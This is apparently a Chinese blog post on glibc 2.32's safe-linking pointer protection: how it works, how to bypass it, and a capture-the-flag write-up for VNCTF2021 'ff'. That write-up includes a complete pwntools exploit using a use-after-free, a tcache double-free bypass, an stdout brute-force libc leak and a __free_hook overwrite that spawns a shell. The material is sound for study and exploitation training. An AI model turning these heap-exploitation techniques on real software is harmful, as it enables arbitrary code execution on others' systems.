一道题目学习glibc 2.32

一道题目学习glibc 2.32

safe-linking

glibc2.32引入的新的防御机制-safe-linking(异或加密),其核心思想是:将指针的地址右移12位再和指针本身异或,如下,L为指针的地址,P为指针本身,该操作是可逆的,取指针时再做一次操作就可以还原得到原来的指针:

该操作是在chunk被放入tcache bin和从tcache bin中取出时进行

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

对应的,tcache相关操作(tcache_put和tcache_get)也进行了更改

static __always_inline void *
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;
//2.31引入的新机制
  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

可以看到,向tcache bin中放入chunk时,会将其bk指针(即tcache_entry->key)改写为所放入的tcache,该操作后续是为了在free时防止double free;除此之外,会将其fd指针地址tcache->entry[tc_idx] 异或存储

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

从tcache bin中取chunk时,会对取出的chunk进行反异或操作,同时将其bk指针(tcache_entry->key)置零

bypass safe-link

bypass safe-linking机制需要用到uaf或者double free之类的漏洞,同时释放tcache到一个空闲tacahe bin中,此时由于tcache bin中没有空闲chunk,tcache->entry[tc_idx]=0,故

PROTECT_PTR (&e->next, tcache->entries[tc_idx])== PROTECT_PTR (分配到的chunk地址->fd,0)==((分配到的chunk地址->fd)>>12)^0 ==(分配到的chunk地址->fd)>>12

此时若存在uaf 或者double free,可以泄露出leak_addr= (&malloced_chunk->fd)>>12位置,则heap_base=leak_addr<<12,我看有的blog会把leak_addr称为key,这里的key和tcache_entry的key是有区别的,需要注意一下,我倾向于认为前者为加密算法的密钥,后者是防范tcache double free的关键字。

同样的,若存在栈溢出、double free等漏洞,可以改写chunk的bk指针,即tcache_entry->key为0,以绕过tcache的double free检查

[VNCTF2021]ff

程序逻辑很简单
  • add :可以申请16个chunk,申请的size最大为0x80,申请到的内存下标赋给全局变量idx
  • delete:释放idx对应的chunk,指针未清零存在uaf或者double free
  • show :只有一次show的机会,输出idx对应的chunk的8字节内容,即fd指针值;可以考虑用来泄露heap_base
  • edit:存在两次edit机会,修改idx对应chunk的0x10内容
漏洞利用思路
  1. 利用uaf泄露heap base
  2. 篡改tcache,修改tcache_entry的key值,从而绕过tcache double free 检查,进行double free
  3. 改tcache bin的fd指针为tcache_perthread_struct地址,从而分配到tcache_perthread_struct,改写其对应字段的值
  4. 由于限制了show的次数,所以需要爆破stdout来leak libc
  5. 之后因为存在UAF,直接改free_hook为system
exp
from pwn import *

io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

context.log_level='debug'

def add(size,content=b'a'):
    io.sendlineafter(">>","1")
    io.sendlineafter("Size:\n",str(size))
    io.sendafter("Content:\n",content)

def delete():
    io.sendlineafter(">>", "2")

def show():
    io.sendlineafter(">>", "3")

def edit(con):
    io.sendlineafter(">>","5")
    io.sendafter(":",con)


def exp():

    #泄露堆地址
    add(0x70)
    delete()
    show()
    heap_base=u64(io.recv(6).ljust(8,b'\x00'))<<12
    log.success("heap base : "+hex(heap_base))

    #修改tcache_entry的key值,从而绕过tcache double free 检查
    tcache=heap_base+0x10
    edit(p64(0)*2)#change the key of tcache
    delete() #tcache double free

    ##change the fd of tcache to point to tcache_perthread_struct
    edit(p64(tcache^(heap_base>>12))+p64(tcache))
    add(0x70)
    # we are going to free tcache_perthread_struct (size 0x290)
    # so first mark tcache[0x290] to 7 to prevent it falling into tcache bin
    # instead, freeing tcache_perthread_struct will fall into unsorted bin
    payload=b'\x00\x00'*(0x29-2)+b'\x07\x00'
    add(0x70,payload)

    delete()
    # now mallocing from tcache_perthread_struct

    # Due to 0x20 0x30 0x40 's counts field is overwritten by a libc address, we can only malloc 0x50 size chunk
    # mark tcache[0x50] to 1 and tcache[0x80] to 1
    add(0x48, (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00').ljust(0x48, b'\x00'))

    add(0x38, b'\x00' * 0x38)
    #这一步由于aslr的存在,需要爆破
    add(0x18, p64(0) + b'\xc0\xe6')  # 0x7ffff7fce6c0 <_IO_2_1_stdout_>

    #_change _IO_FILE,改flag为0xfbad1800 and 覆盖 IO_write_base 后两位 \x00
    add(0x48, p64(0xfbad1800) + p64(1) * 3 + b'\x00')
    #设置timeout=1,这样方便程序自动进入下一轮循环
    libc_base=u64(io.recvuntil('\x7f',timeout=1)[-6:].ljust(8,b'\x00'))-0x1e4744
    if libc_base <= 0:
        raise EOFError
    log.success("base : "+hex(libc_base))
    free_hook=libc_base+libc.symbols[b'__free_hook']
    system=libc_base+libc.symbols[b'system']
	 # 篡改了IO_2_1_stdout后,发现程序输出不带\n了
    def add2(size, content=b'a'):
        io.sendlineafter('>>', '1')
        io.sendlineafter('Size:', str(size))
        io.sendafter('Content:', content)
    #gdb.attach(io)
    add2(0x30,p64(free_hook))
    add2(0x70, p64(system))

    add2(0x30, "/bin/sh\x00")
    delete()
    io.interactive()


while True:
    try:
        io=process('./pwn')
        exp()
    except EOFError:
        pass

参考文章

Safe-Linking机制分析
V&NCTF 2021 Writeup

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值